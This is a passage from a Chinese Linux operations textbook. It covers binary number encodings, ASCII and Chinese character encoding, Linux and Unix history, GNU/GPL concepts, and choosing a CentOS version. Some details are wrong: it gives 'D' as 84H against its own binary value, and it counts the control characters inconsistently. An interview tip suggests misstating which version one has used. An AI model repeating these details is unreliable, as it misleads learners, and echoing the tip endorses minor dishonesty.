 
在计算机中，符号位和数值位都是用0和1来表示的，在对机器数进行处理时，必须考虑对符号位的处理，也就是对符号和数值的编码方法。常见的编码方法有原码、反码和补码这3种方法。下面分别讨论这3种方法的使用。
 
（1）原码的表示
 
一个数X的原码表示为：符号位用0表示正，用1表示负；数值部分为X的绝对值的二进制形式。这里将X的原码表示记为[X]原。
 
例如，当X＝＋1100001时，则[X]原＝01100001。
 
当X＝－1110101时，则[X]原＝11110101。
 
在原码中，0有两种表示方式，分别如下。
 
当X＝＋0000000时，[X]原＝00000000。
 
当X＝－0000000时，[X]原＝10000000。
 
（2）反码的表示
 
一个数X的反码表示方法为：若X为正数，则其反码与原码相同；若X为负数，则在原码的基础上，符号位保持不变，数值位各位取反。这里将X的反码表示记为[X]反。
 
例如，当X＝＋1100001时，则[X]原＝01100001，[X]反＝01100001。
 
当X＝－1100001时，则[X]原＝11100001，[X]反＝10011110。
 
在反码表示中，0也有两种表示形式，具体如下：
 
当X＝＋0时，则[X]反＝00000000。
 
当X＝－0时，则[X]反＝10000000。
 
（3）补码的表示
 
一个数X的补码表示方式为：当X为正数时，则X的补码与X的原码相同；当X为负数时，则X的补码，其符号位与原码相同，其数值位取反加1。这里将X的补码表示记为[X]补。
 
例如，当X＝＋1110001，则[X]原＝01110001，[X]补＝01110001。
 
当X＝－1110001，则[X]原＝11110001，[X]补＝10001111。
 
0.8.2　非数值数据的表示
 
计算机中使用的数据有数值型数据和非数值型数据两大类。数值数据用于表示数量意义；非数值数据又称为符号数据，包括字母和符号等。计算机除了要处理数值信息之外，还需要处理大量字符信息。例如，将用高级语言编写的程序输入到计算机时，人与计算机通信时所用的语言就不再是一种纯数字语言而是字符语言。由于计算机中只能存储二进制数，这就需要对字符进行编码了，从而建立起字符数据与二进制串之间的对应关系，以便于计算机识别、存储和处理。这里介绍两种符号数据的表示。
 
1.字符数据的表示
 
计算机中用得最多的符号数据就是字符，它是用户和计算机之间的桥梁。用户使用计算机的输入设备，通过键盘上的字符键向计算机内输入命令和数据，计算机将处理后的结果以字符的形式输出到屏幕或打印机等输出设备上。字符的编码方案也有很多种，但使用最广泛的是ASCII码（American Standard Code for Information Interchange）。ASCII码开始时是美国国家信息交换标准字符码，后来被采纳为一种国际通用的信息交换标准代码。
 
ASCII码由0～9这10个数符，52个大、小写英文字母，32个符号及34个计算机通用控制符组成，共有128个元素。因为ASCII码总共有128个元素，因此使用二进制编码表示时需用7位。任意一个元素均由7位二进制数表示，从0000000到1111111共有128种编码，可用来表示128个不同的字符。ASCII码表的查表方式是：先查列（高三位），后查行（低四位），然后按从左到右的书写顺序完成，如B的ASCII码为1000010。在ASCII码进行存放时，由于它的编码是7位，且因1字节（8位）是计算机中常用的单位，故仍以1字节来存放1个ASCII码字符，每字节中多余的最高位取0。如表0-7所示为7位ASCII码字符编码表。
 
表0-7　ASCII字符编码表
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由表0-7可知，ASCII码字符可分为如下两大类。
 
·打印字符：从键盘输入并显示的95个字符，如大小写英文字母各26个，数字0～9这10个数字字符的高3位编码（D6D5D4）为011，低4位为0000～1001。当去掉高3位时，低4位正好是二进制形式的0～9。

·不可打印字符：共33个，其编码值为0～31（0000000～0011111）和（1111111），不对应任何可印刷字符。不可打印字符通常为控制符，用于计算机通信中的通信控制或对设备的功能控制。如编码值为127（1111111），是删除控制DEL码，它用于删除光标之后的字符。
 
ASCII码字符的码值可用7位二进制代码或2位十六进制代码来表示。例如字母D的ASCII码值为（1000100）2或84H，数字4的ASCII码值为（0110100）2或34H等。
 
2.汉字的存储介绍
 
英语是拼音文字，所有文字均由26个字母拼组而成，所以使用1字节表示一个字符就足够了。但汉字是象形文字，汉字的计算机处理技术比英文字符要复杂得多，一般用2字节表示一个汉字。由于汉字有一万多个，常用的也有六千多个，所以编码采用2字节的低7位共14位二进制来表示。
 
常用的、支持汉字的计算机字符编码有UTF8、GB2312、GBK等。更多信息请参考https://baike.baidu.com/item/%E6%B1%89%E5%AD%97%E7%BC%96%E7%A0%81/7123465。
0.9　计算机硬件基础问题小结
 
1）你用过的服务器型号有哪些？具体的配置有哪些？
 
2）程序、进程和守护进程有什么区别？
 
3）提升用户体验的网站优化解决方案有哪些？
 
4）谈谈计算机中buffer与cache的简单区别。
 
5）描述Raid 0、Raid1的主要特点。
 
6）描述电脑的主流硬件作用及其之间的关系（CPU、内存、磁盘）。
 
7）描述冯·诺依曼计算机的设计思想。
 
8）请描述计算机数据的多种单位与换算。
 
9）什么是二进制，计算机是如何用二进制表示数据的。
 
10）为什么买来的硬盘的实际大小比它标称的大小小？
 
11）运维人员的三大核心工作职责是什么？
0.10　本章相关资料
 
1）十进制如何转换为二进制？
 
https://jingyan.baidu.com/article/597a0643614568312b5243c0.html

 
2）企业真实DELL服务器硬件手把手拆卸介绍视频
 
http://v.qq.com/page/g/x/y/g016789xvxy.html

第1章　Linux系统介绍与环境搭建准备
 
本章以操作系统的介绍作开篇，首先介绍操作系统的基础概念以及操作系统的原理；然后带领读者了解Unix/Linux的诞生和发展史，以及市面上常见的Unix/Linux系统版本，并且针对发展过程中相关的关键人物进行介绍；接着，本章为大家讲解了需要重点掌握的GNU、GPL等名词知识，以及本书的主人公即Linux的优秀特性、常见的Linux发行版本以及不同应用场景的选择建议；最后，本章将带读者了解互联网常用的两个重点Linux版本CentOS和Red Hat Linux，并完成CentOS Linux的基本环境搭建准备。
1.1　Linux简介
 
1.1.1　什么是操作系统？
 
如果被问到什么是操作系统，可能很多初学者都会一脸茫然。虽然我们都知道平时一直在用的Windows 7/8/10，其实就是操作系统，却无法准确给出操作系统的定义，或者向提问者解释清楚什么是操作系统。
 
操作系统，英文名称Operating System，简称OS，是计算机系统中必不可少的基础系统软件，它是应用程序运行以及用户操作必备的基础环境支撑，是计算机系统的核心。
 
操作系统的作用是管理和控制计算机系统中的硬件和软件资源，例如，它负责直接管理计算机系统的各种硬件资源，如对CPU、内存、磁盘等的管理，同时对系统资源供需的优先顺序进行管理。操作系统还可以控制设备的输入、输出以及操作网络与管理文件系统等事务。同时，它也负责对计算机系统中各类软件资源进行管理，例如，各类应用软件的安装、运行环境的设置等。图1-1给出了操作系统与计算机硬件、软件之间的关系示意图。
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图1-1　操作系统与计算机软硬件关系示意图
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图1-2　简单理解操作系统作用示意图
 
综上所述，我们可以对操作系统给出一个基本的定义。
 
操作系统是计算机系统中必不可少的基础系统软件，它的作用是负责管理和控制计算机系统中的硬件和软件资源，合理地组织计算机系统的工作流程，以便有效地利用这些资源为使用者提供一个功能强大、使用方便的操作及使用环境。它在计算机系统（硬件）与使用者之间起到了接口的作用。
 
上面的定义听起来是不是有些复杂？下面就来帮助大家更简单快速地理解什么是操作系统。操作系统就是处于用户与计算机系统硬件之间用于传递信息的系统程序软件。例如，操作系统会在接收到用户输入的信息之后，将其传递给计算机系统硬件核心进行处理，然后再把计算机系统硬件的处理结果返回给使用者。图1-2所示的是简单理解操作系统作用的示意图。
 
目前PC（Intel x86系列）计算机上比较常见的操作系统有Windows、Linux、DOS、Unix等。
 
1.1.2　什么是Linux？
 
与大家熟知的Windows操作系统软件一样，Linux也是一个操作系统软件。但是与Windows不同的是，Linux是一套开放源代码程序的、并且可以自由传播的类Unix操作系统软件（Unix系统是Linux系统的前身，具备很多优秀特性）。其在设计之初，就是基于Intel x86系列CPU架构计算机的。它是一个基于POSIX[1]的多用户、多任务并且支持多线程和多CPU的操作系统。
 
Linux是由世界各地成千上万的程序员设计和开发实现的。当初开发Linux系统的目的就是建立不受任何商业化软件版权制约的、全世界都能自由使用的类Unix操作系统兼容产品。在过去的20年里，Linux系统主要被应用于服务器端、嵌入式开发和PC桌面3大领域，其中服务器端领域是重中之重。
 
我们熟知的大型、超大型互联网企业（百度、腾讯、Sina、阿里等）都在使用Linux系统作为其服务器端的程序运行平台，全球及国内排名前1000的90%以上的网站使用的主流系统都是Linux系统。
 
从上面的内容可以看出，Linux操作系统之所以如此流行，是因为它具备如下这些优秀的特点。
 
·Linux是开放源代码的程序软件，可自由修改。

·与Unix系统兼容，具备Unix几乎所有的优秀特性。

·可自由传播，无任何商业化版权制约。

·适合Intel等x86 CPU系列架构的计算机。
 
[image: ]技巧：好的总结习惯很重要，学会主动对阶段性的知识进行小结是学好Linux运维的重要习惯。
 
[1] POSIX 全称为Portable Operating System Interface，中文翻译为可移植操作系统接口，POSIX 标准定义了操作系统应该为应用程序提供的接口标准。
1.2　Linux的起源
 
1.2.1　Unix的历史
 
说到Linux的起源，就不得不提到Linux之前的Unix系统。Unix系统于1969年在AT&T的贝尔实验室诞生，20世纪70年代，它逐步盛行，这期间，又产生了一个比较重要的分支，即大约诞生于1977年的BSD（Berkeley Software Distribution）系统。从BSD系统开始，各大厂商及商业公司开始了根据公司自身的硬件架构，并以BSD系统为基础进行Unix系统的研发，从而产生了各种版本的Unix系统，例如，SUN公司的Solaris，IBM公司的AIX，HP公司的HP UNIX等。图1-3给出了Unix系统诞生、发展的时间及版本分支的介绍，供读者参考。
 
从图1-3中可以看到，本书的“主人公”Linux系统，诞生于1991年左右，因此，可以说Linux是从Unix发展而来的。
 
1.2.2　Unix的5大优秀特性
 
细心的读者应该会看到前文曾提到“类Unix操作系统兼容产品”或“类Unix操作系统软件”？为什么都要开发类Unix系统呢？那是因为Unix是一个非常棒的操作系统，它很像是一个非常聪明伶俐但不太听话的孩子，而开发者们在开发系统时，一方面想要继承它的“聪明伶俐”，另一方面又想改善它不听话的一面，故而会有如此考虑。
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图1-3　Unix诞生及版本分支发展简略图解
 
那么Unix都有哪些“聪明伶俐”的特点呢？下面一起来看看吧。
 
·技术成熟，可靠性高
 
使用Unix系统时，即使连续运行若干年也无须重启，它依然可以工作得非常好。可以毫不夸张地说，只要计算机硬件不坏，Unix就会很难出现问题。
 
·极强的可伸缩性
 
Unix支持的CPU处理器体系架构非常多，包括Intel/AMD及HP-PA、MIPS、PowerPC、UltraSPARC、ALPHA等RISC芯片，以及SMP、MPP等技术。
 
[image: ]提示：可能是由于早期各大厂商都基于Unix进行适合自己的硬件开发，因此，Unix支持的CPU架构才更多。
 
·强大的网络功能
 
Internet互联最重要的协议TCP/IP就是在Unix上开发和发展起来的。此外，Unix还支持非常多的常用的网络通信协议，如NFS、DCE、IPX/SPX、SLIP、PPP等。
 
·强大的数据库支持能力
 
Oracle、DB2、Sybase、Informix等大型数据库，都将Unix作为其主要的数据库开发和运行平台，一直到目前为止，依然如此。
 
·强大的开发功能
 
正是Unix促使了C语言的诞生，并相互促进与发展，成为当时工程师的首选操作系统和开发环境。互联网早期具有重大意义的软件新技术的出现几乎都在Unix上，例如：TCP/IP、WWW、Java、XML等。
 
1.2.3　Unix操作系统的革命
 
20世纪70年代中后期，由于各厂商及商业公司开发的Unix及内置软件都是针对自己公司的特定硬件而进行的，因此在其他公司的硬件上基本上无法直接运行，而且当时没有人对开发基于x86架构CPU的系统感兴趣。另外，20世纪70年代末，Unix又面临了突如其来的被AT&T回收版权的重大问题，特别是要求禁止对学生群体提供Unix系统源代码，这样的问题一度引起了当时Unix业界的恐慌，也因此产生了种种商业纠纷。
 
由于Unix面临版权回收问题，以及代码不开源等问题，这直接或间接地导致了新的类Unix系统的诞生以及自由软件运动的建立和发展。
 
1984年，Richard Stallman发起了开发自由软件的运动，并成立了自由软件基金会（Free Software Foundation，FSF）和GNU项目。当时发起这个自由软件运动和创建GNU项目的目的其实很简单，就是想开发一个类似于Unix系统、并且是自由软件的完整操作系统，也就是要解决20世纪70年代末Unix版权问题以及软件源代码面临闭源的问题，这个系统称为GNU操作系统。
 
也是在20世纪80年代初期，同样是由于之前的Unix系统版权和源代码限制等问题，使得当时大学里教学Unix系统的束缚很大。因此，当时的一个大学的教授，名为Andrew Tanenbaum（谭邦宁），于1984年（大概）开始着手编写新的用于教学的Unix系统，目标是开发新的类Unix系统应尽可能地与原有的Unix系统兼容，并且可以运行于x86 PC平台，这个系统的名字为Minix。
 
不过，由于谭邦宁开发这个Minix系统的目的只是用于教学，因此，Minix系统的功能无法满足商用的需求，但是Minix的产生对于Linux的诞生又是至关重要的一个关键成因，且看下文。
 
1.2.4　Linux的诞生
 
Linux系统的诞生开始于芬兰赫尔辛基大学的一位计算机系的学生，其名字为Linus Torvalds。在大学期间，他接触到了学校的Unix系统，但是，当时的Unix系统仅为一台主机，且对应了多个终端，使用时存在操作等待时间很长等一些体验极差的问题，无法满足年轻的Linus Torvalds的使用需求。因此他就萌生了自己开发一个Unix的想法，不久之后，他就找到了前文提到的谭邦宁教授开发的用于教学的Minix操作系统，与我们现在一样，他将Minix安装到了他的I386个人计算机上。此后，Torvalds又开始陆续阅读了Minix系统的源代码，从Minix系统中学到了很多重要的系统核心程序设计理念和设计思想，从而逐步开始了Linux系统雏形的设计和开发。
 
Linux的标志和吉祥物为一只名字叫作Tux的企鹅——Torvalds’Unix，如图1-4所示。
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图1-4　企鹅Tux
 
1.2.5　Linux的发展历程
 
1.Linux的发展历程简介
 
1）1984年，Andrew S.Tanenbaum开发了用于教学的Unix系统，命名为Minix。
 
2）1989年，Andrew S.Tanenbaum将Minix系统运行于x86的个人计算机平台上。
 
3）1990年，芬兰赫尔辛基大学学生Linus Torvalds首次接触Minix系统。
 
4）1991年，Linus Torvalds开始在Minix上编写各种驱动程序等操作系统内核组件。
 
5）1991年底，Linus Torvalds公开了Linux内核源码0.02版（http://www.kernel.org
 ），注意，这里公开的Linux内核源码并不是我们现在使用的Linux系统的全部，而仅仅是Linux内核kernel部分的代码。
 
6）1993年，Linux 1.0版发行，Linux转向GPL版权协议。
 
7）1994年，Linux的第一个商业发行版Slackware问世。
 
8）1995年，Red Hat软件公司成立，同年发布了Red Hat Linux 2.0。
 
8）1996年，美国国家标准技术局的计算机系统实验室确认Linux版本1.2.13（由Open Linux公司打包）符合POSIX标准。
 
9）1997年，Red Hat Linux 5.0发布，它支持Intel、Alpha和Sparc平台以及大多数的应用软件。极其简单易用的RPM模块化的安装、配置和卸载工具，使程序的安装可在15分钟内完成。软件升级也更加方便了。
 
10）1999年，Linux的简体中文发行版问世。
 
11）2003年4月，Red Hat Linux 9.0发布。其重点放在改善桌面应用方面，包括改进安装过程、更好的字体浏览、更好的打印服务等。2003年，Red Hat的Linux市场份额为80%以上。
 
12）2004年4月，Red Hat公司正式停止对Red Hat 9.0版本的支持，标志着Red Hat Linux的正式完结。原本的桌面版Red Hat Linux发行包则与来自民间的Fedora计划合并，成为Fedora Core发行版本。Red Hat公司不再开发桌面版的Linux发行包，而将全部力量集中在服务器版的开发上，也就是Red Hat Enterprise Linux版。
 
13）2005年10月，RHEL4发布。
 
14）2007年3月，主流版本RHEL5发布，CentOS系统开始在中国互联网公司流行。
 
15）2010年4月，RHEL6（RedHat Enterprise Linux 6.0）BETA测试版发布。
 
16）2014年6月RedHat Enterprise Linux 7.0发布，RHEL7.0版本相较于RHEL6.0以前的版本有了较大的变化，例如，内核版本升级到3.10以上，系统启动和基本管理变化较大，文件系统也由传统的ext改为xfs，同时在大数据、云计算、Docker方面做了很大优化。
 
2.Linux发展历程中的相关人物
 
我们在使用优秀的Linux系统时，一定要向前辈们致以深深的敬意，没有他们，就没有今天优秀的Linux系统存在（如图1-5所示）。
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图1-5　Linux系统诞生发展过程中关键代表人物
1.3　Linux核心概念知识
 
1.3.1　自由软件与FSF
 
1.自由软件
 
简单地理解，自由软件的核心就是没有商业化软件版权制约，源代码开放，可以无约束地自由传播。
 
[image: ]注意：自由软件强调的是权利问题，而非是否免费的问题。大家一定要理解这个概念，自由软件中的自由是“言论自由”中的“自由”，而不是“免费啤酒”中的“免费”。
 
自由意味着freedom，而免费意味着free，这是完全不同的两个概念。例如，Red Hat Linux自由但不免费，CentOS Linux则是自由且免费的。
 
自由软件关乎使用者运行、复制、发布、研究、修改和改进该软件的自由。更精确地说，自由软件赋予软件使用者四种自由[1]，具体如下。
 
·不论目的为何，有运行该软件的自由。

·有研究该软件如何运行，以及按需改写该软件的自由。当然，取得该软件源代码为达成此目的之前提。

·有重新发布拷贝的自由。

·有改进该软件，以及向公众发布改进版本的自由，这样整个社群都可受惠。同样，取得该软件的源码为达成此目的之前提。
 
2.自由软件基金会FSF
 
FSF（Free Software Foundation）的中文意思是自由软件基金会，是Richard Stallman于1984年发起和创办的。FSF的主要项目是GNU项目。它的目标是建立可自由发布和可移植的类Unix操作系统产品。GNU项目本身产生的主要软件包括：Emacs编辑软件、gcc编译软件、bash命令解释程序和编程语言，以及gawk（GNU’s awk）等。
 
1.3.2　GNU知识
 
GNU的全称为GNU’s not Unix，意思是“GNU不是Unix”，GNU计划，又称革奴计划，是由Richard Stallman在1984年公开发起的，是FSF的主要项目。前面已经提到过，这个项目的目标是建立一套完全自由的和可移植的类Unix操作系统。
 
GNU类Unix操作系统是由一系列应用程序、系统库和开发工具构成的软件集合（例如，Emacs编辑软件、gcc编译软件、bash命令解释程序和编程语言，以及gawk等），并加上了用于资源分配和硬件管理的内核。
 
但是GNU自己的内核Hurd仍在开发中，离实用还有一定的距离。因此，这个GNU系统并没有流行起来。现在的GNU系统通常是使用Linux系统的内核、再加上GNU项目贡献的一些组件，以及其他相关程序组成的，这样的组合被称为GNU/Linux操作系统。
 
 
 [image: ] 


图1-6　GNU相关图片纪念
 
到1991年Linux内核发布的时候，GNU项目已经完成了除系统内核之外的各种必备软件的开发。在Linus Torvalds和其他开发人员的努力下，GNU项目的部分组件又运行到了Linux内核之上，例如，GNU项目里的Emacs、gcc、bash、gawk等，至今都是Linux系统中很重要的基础软件。GNU项目的相关图片纪念如图1-6所示。
 
1.3.3　GPL知识
 
1.GPL
 
GPL全称为General Public License，中文名为通用公共许可，是一个最著名的开源许可协议，开源社区最著名的Linux内核就是在GPL许可下发布的。GPL许可是由自由软件基金会（Free Software Foundation）创建的。
 
1984年，Richard Stallman发起开发自由软件的运动后不久，在其他人的协作下，他创立了通用公共许可证（GPL），这对推动自由软件的发展起到了至关重要的作用，那么，这个GPL到底是什么意思呢？
 
简单的理解，GPL的核心，是保证任何人有共享和修改自由软件的自由，任何人有权取得、修改和重新发布自由软件源代码的权利，但都必须同时给出具体更改的源代码。
 
虽然整个Linux内核都是基于GNU通用公共许可的，但是Linux内核并不是GNU计划的一部分，这一点请读者不要混淆。
 
2.LGPL
 
LGPL（Lesser General Public License）相对于GPL则较为宽松，其允许不公开全部源代码，这为基于Linux平台开发商业软件提供了更广阔的空间。对于该知识点，本书仅提及一下，有兴趣的读者可到网上查询相关信息。
 
1.3.4　Linux系统组成
 
Linux操作系统的核心为Linus Torvalds开发的Kernel，Linux内核之上的组件可分为如下几部分：一部分是GNU组件，如Emacs、gcc、bash、gawk等；另一些重要组成部分则来自加利福尼亚大学Berkeley分校的BSD Unix项目和麻省理工学院的X Windows系统项目，以及在这之后成千上万的程序员开发的应用程序等（见表1-1）。正是基于Linux内核与GNU项目、BSD Unix以及MIT的X11（X Windows）的结合，才使得整个Linux操作系统得以很快形成，并得到了发展，进而组成了今天优秀的Linux系统。
 
Linux操作系统＝Linux内核＋GNU软件及系统软件＋必要的应用程序
 
表1-1　Linux系统各组成部分的贡献人员
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图1-7为Linux系统的核心组成原理示意图。
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图1-7　Linux操作系统组成原理简单示意图
 
[1] 此部分内容参考于GNU官方网站。
1.4　Linux的特点
 
1.4.1　Linux为什么受欢迎？
 
Linux以高效和灵活著称。Linux运行于个人计算机上，可以实现几乎全部的Unix特性，同时还具有多任务、多用户的能力，支持多线程、多CPU。Linux是在GNU公共许可（GPL）权限下免费获得的，是一个符合POSIX标准的操作系统。
 
Linux操作系统软件包不仅包括完整的Linux操作系统，而且还包括了文本编辑器、高级语言编译器，以及X-Windows图形用户界面等应用软件，使用Linux也可以像使用Windows 7、Windows 10一样，通过窗口、图标和菜单对系统进行操作，当然，这是Linux个人桌面领域的应用，在服务器端领域绝大多数场景下都还是使用命令行、文本模式操作Linux的。
 
Linux系统之所以受到广大计算机爱好者的喜爱，主要原因有两个，具体如下。
 
1）Linux属于自由软件，用户可以不用支付任何费用就可以获得系统和系统的源代码，并且可以根据自己的需要对源代码进行必要的修改，无偿使用，无约束地进行自由传播。
 
2）Linux具有Unix的全部优秀特性，任何使用Unix操作系统或想要学习Unix操作系统的人，都可以通过学习Linux来了解Unix，同样可以获得Unix中的几乎所有优秀的功能，并且，Linux系统更开放，社区开发和全世界的使用者也更活跃。
 
1.4.2　Linux更多特点介绍
 
还记得前文对Linux操作系统特性的小结么？除了那些特点以外，其实，Linux还具有如下一些特点。
 
·可以说Linux是Unix在个人计算机上的克隆版，仿Unix内核构建，几乎与Unix指令集向下完全兼容。

·是一个完善的支持多用户、多任务，多进程、多CPU的系统。

·具有很高的系统稳定性与可靠性。

·具有很高的系统安全性。

·有完善的网络服务，支持HTTP、FTP、SMTP、POP、SAMBA、SNMP、DNS、DHCP、SSH、TELNET等。

·是基于GNU许可，自由开放的系统。

·有大量第三方免费应用程序。

·得到了众多业界厂商的支持，如IBM、Oracle、Intel、HP、MOTO、Google等。

·有完善的大型数据库平台，包括Oracle、DB/2、Sybase、MySQL、PostgreSQL等。

·有完善的图形用户界面，包括GNOME、KDE等。

·有完善的开发平台，包括C/C++、Java、Perl等，支持各类图形界面API，如GTK+、QT等。
1.5　Linux的应用领域
 
1.5.1　IT服务器Linux系统的应用领域
 
如今的IT服务器领域是Linux、Unix、Windows三分天下，Linux系统可谓后起之秀，特别是最近几年来，服务器端Linux操作系统不断地扩大市场份额，且每年增长势头迅猛，并且开始对Windows及Unix服务器市场的地位构成严重威胁。图1-8是国内服务端各个系统使用百分比的一个参考饼图。
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图1-8　服务端系统使用百分比图
 
从图1-8中可以看出，Linux（包括CentOS、Ubuntu等）市场份额占80%左右，Windows占12.8%，Solaris占6.2%。可见，在未来的服务器领域市场里，Linux是大势所趋，笔者同时还查阅了相关的资料，有些资料显示会有差异，不过可以肯定的是国内一二线互联网公司使用Linux作为服务器系统至少占比90%以上，而且这其中的80%以上使用的都是CentOS或同源的Linux系统。
 
Linux作为企业级服务器的应用十分广泛，利用Linux系统可以为企业构架WWW服务器、数据库服务器、负载均衡服务器、邮件服务器、DNS服务器、代理服务器（透明网关）、路由器等，这些不但使企业降低了运营成本，同时还获得了Linux系统带来的高稳定性和高可靠性，且无须考虑商业软件的版权问题。
 
随着Linux在服务器领域的广泛应用，近几年来，该系统已经渗透到电信、金融、政府、教育、银行、石油等各个行业，同时各大硬件厂商也相继支持Linux操作系统。这一切均表明，Linux在服务器市场前景光明。同时，大型、超大型互联网企业（百度、Sina、淘宝等）都在使用Linux系统作为其服务器端的程序运行平台，全球及国内排名前十的网站使用的几乎都是Linux系统，Linux已经逐步渗透到了各个领域的企业里。
 
1.5.2　嵌入式Linux系统应用领域
 
由于Linux系统开放源代码，功能强大、可靠、稳定性强、灵活而且具有极大的伸缩性，再加上它广泛支持大量的微处理器体系结构、硬件设备、图形支持和通信协议，因此，在嵌入式应用的领域里，从因特网设备（路由器、交换机、防火墙、负载均衡器等）到专用的控制系统（自动售货机、手机、PDA、各种家用电器等），Linux操作系统都有很广阔的应用市场。特别是经过这几年的发展，它已经成功地跻身于主流嵌入式开发平台。例如，在智能手机领域，Android Linux已经在智能手机开发平台上牢牢地占据了一席之地。嵌入式系统是另一个应用领域，不是本书讨论的主要话题，读者若对此感兴趣，可参考相关文章和书籍。
 
1.5.3　个人桌面Linux应用领域
 
所谓个人桌面系统，其实就是我们在办公室使用的个人计算机系统，例如，Windows XP、Windows 7、MAC等。Linux系统在这方面的支持也已经非常好了，完全可以满足日常的办公及家用需求，具体列举如下。
 
·浏览器上网浏览（例如，Firefox浏览器）。

·办公室软件（Open Office等，兼容微软Office软件）处理数据。

·收发电子邮件（例如，ThunderBird软件）。

·实时通信（例如，QQ等）。

·文字编辑（例如，vi、vim、Emacs）。

·多媒体应用。
 
虽然Linux个人桌面系统的支持已经很广泛了，但是在当前，其桌面市场份额还远远无法与Windows竞争，这其中的最大障碍可能不在于Linux桌面系统产品本身，而是用户的使用观念、操作习惯和应用技能，以及曾经在Windows上开发的软件的移植问题。
 
1.5.4　本书主要讲解的Linux领域说明
 
本书主要讲解Linux系统服务器端的知识、技术，企业生产运维经验实践。下面列举本书将要讨论的技术核心，以及哪些企业单位会用到本书的技术知识。
 
·服务器领域的Linux运维技术。

·基于x86 CPU架构的计算机硬件的Linux系统。

·面向互联网的企业，或者即将将业务转移到互联网的企业。
1.6　如何选择Linux的发行版本
 
1.6.1　Linux的发行版本介绍
 
Linux内核（kernel）版本主要有4个系列，分别为Linux kernel 2.2、Linux kernel 2.4、Linux kernel 2.6，Linux kernel3.x，Linux kernel4.x，更多更新的内核版本请浏览https://www.kernel.org/。
 
Linux的发行商包括Slackware、Redhat、Debian、Fedora、TurboLinux、Mandrake、SUSE、CentOS、Ubuntu、红旗、麒麟……
 
下面来看看其中几个重要的发行版本。
 
1）Red Hat：Red Hat Linux9.0的内核为2.4.20。在版本9.0之后，Red Hat不再遵循GPL协议，成为收费产品（但仍开源），发展的新版本依次为Red Hat 3.x、Red Hat 4.x、Red Hat 5.x、Red Hat 6.x、Red Hat 7.x。
 
2）Fedora：为Red Hat的一个分支，仍遵循GPL协议，可以认为是Red Hat预发布版。
 
3）CentOS（Community Enterprise Operating System）：Red Hat的另一个重要分支，以Red Hat所发布的源代码重建符合GPL许可协议的Linux系统，即将Red Hat Linux源代码的商标LOGO以及非自由软件部分去除后再编译而成的版本，目前CentOS已被Red Hat公司收购，但仍开源免费。CentOS Linux是国内互联网公司使用最多的Linux系统版本，也是本书的“主人公”，本书后面所有的内容讲解都是基于CentOS这个操作系统的，绝大部分内容几乎无须任何修改也能同样适合于其他操作系统版本。
 
[image: ]提示：有关Linux操作系统，只需记住Redhat、CentOS、Ubuntu、Fedora、SUSE、Debian等即可。Redhat与CentOS的区别和联系，有时会被面试官问，需要重点了解。
 
1.6.2　选择适合的Linux系统学习
 
在了解了Linux版本及应用领域之后，接下来就要定位我们到底该往哪个方向发展了。如果你想做一个网站的后端运维工程师，那就走服务器领域的路线，如果你想进入嵌入式领域，那就要学习嵌入式领域的技能。如果你对桌面Linux系统感兴趣，那么可以深入了解桌面系统领域。选择的领域不同，学习和要掌握的技能自然就会有差别，因此，这个选择就显得很重要了，当你阅读本书的时候，相信你已经选择了IT服务器Linux系统应用领域。没错，我们整本书的主要内容就是基于Linux服务器应用领域而写的。
 
1.Linux发行版本的应用场景
 
在确定了自己的发展路线之后，针对Linux系统选择一个合适的版本就显得尤为重要了。事实上，这个问题也正是大多数初学者最为头疼的一个问题，对于此，笔者的建议如下。
 
如果你是一个Linux爱好者，想选择一个桌面系统，并且既不想使用盗版，又不想花太多钱购买商业系统软件，那么可以选择Ubuntu桌面系统。如果你需要服务器端的Linux系统，想要使用一个比较稳定的服务器系统，或者说你的目标就是进入企业从事Linux运维工作，那么建议你选择CentOS或Red Hat。在这两者当中又应首选CentOS，因为目前市场的趋势就是这样的，CentOS社区非常活跃。如果是对系统稳定性、安全性有更高的要求，或者是有特殊使用偏好的用户，可以考虑Debian或FreeBSD。如果是特别痴迷于新技术体验和追求最新的软件版本，那么可以选择Fedora，但要容忍Fedora潜在的新技术软件的Bug和系统稳定性的问题。如果喜欢更好的中文环境支持，可以选择麒麟Linux……本书主要侧重于服务器领域，并且根据国内互联网企业的市场需求来选择，本书所选择的Linux版本为CentOS，当然所讲的技术也适合Red Hat Linux及其他大部分Linux系列，CentOS是国内当前互联网企业服务器端实际应用最多的系统。
 
其实Linux虽然发行版本众多，但是系统的核心以及大部分外围基础应用软件，都是相同的或者是简单的变种，所以只要学会学透其中的一种，即可触类旁通，因此不建议读者同时学习多个系统，更不建议工作中同时使用多个系统版本，这不但会浪费自己的学习时间，也影响企业业务的稳定性，徒增无谓的维护成本。前面已说明，本书将以企业最常用的CentOS系统为主进行讲解，但是想学习其他版本的Linux的读者，也同样适合阅读本书，因为它们的使用方法绝大部分都是相同的。
 
[image: ]提示：当前，绝大多数互联网公司和企业的Linux操作系统平台为CentOS和RedHat，通常情况下，只要能掌握这两个操作系统的应用就可以胜任绝大多数公司的相关运维工作。对于其他版本的操作系统，包括Unix，想要再学也会轻车熟路，因为，它们之间的差异很小。
 
2.选择CentOS Linux的版本
 
本书讲解的Linux运维技术主要是基于CentOS x86_64 Linux的，绝大部分知识几乎无需任何修改，同样也适用于Red Hat Linux等同源或类似Linux系统版本。
 
下面是CentOS的主流版本在国内互联网企业的使用现状说明。
 
·CentOS5系列：主流版本有CentOS5.5、CentOS5.8、CentOS5.10、CentOS5.11，CentOS5在企业的新业务中已经使用极少了，不推荐新手学习。

·CentOS6系列：主流版本有CentOS6.4、CentOS6.6、CentOS6.7、CentOS6.9，CentOS6在企业的新业务中使用也已经不多了，不推荐新手学习。

·CentOS7系列：该系列已经成熟，很多企业开始正式使用该版本，目前与6系列并行，CentOS7已经逐步成为企业主流，比较推荐新手选择此版本学习。
 
综上所述，老男孩推荐学习当下企业的主流应用，即CentOS7系列，本书选取了当下最新的CentOS7.6作为主要版本来讲解，让读者掌握最新的企业级操作系统技术。
 
[image: ]面试技巧：大家被面试官问及使用的是什么操作系统时，一定要一次性说出来（系统版本、内核版本、32位还是64位），例如，我在工作中使用的是CentOS7.2 x86_64位Linux系统，内核版本为xxxx，这才是一个合格的Linux运维人员的表现，注意，大家当下即使学完7.6在面试时也不要轻易说7.6，因为会被感觉是新手，7.6太新了。
1.7　搭建学习Linux的运维环境
 
1.7.1　虚拟机软件介绍
 
